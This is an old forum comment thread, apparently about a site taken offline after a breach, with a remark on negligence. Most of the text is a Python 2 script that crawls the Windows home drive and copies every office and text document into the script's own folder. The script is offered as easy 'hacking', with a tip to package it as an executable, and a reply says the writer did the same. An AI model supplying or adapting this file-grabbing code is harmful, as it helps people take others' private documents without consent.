by sunchild · 15y ago · 0 comments
They did take the site offline; hopefully for a fix.
When a wreck happens because a particular intersection was missing stop signs, would you consider that one guy negligent?
Negligence is merely falling below the standard of the reasonably competent sign poster/programmer/doctor/ etc.
#!/usr/bin/python
import os,shutil
exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
startpath = os.environ['HOMEDRIVE']
def find(none, directory, filenames):
for file in filenames:
for ext in exts:
if file.endswith(ext):
fullfile = os.path.join(directory,file)
try:
shutil.copy(fullfile,file)
except IOError:
pass # access denied
os.path.walk(startpath,find, None)Of course you can always py2exe this, write it in C/C++ (/C#). Hacking is easy, it just takes time and dedication.
That's exactly what I did! You can do the same through cmd, but most machines do not have permissions for that.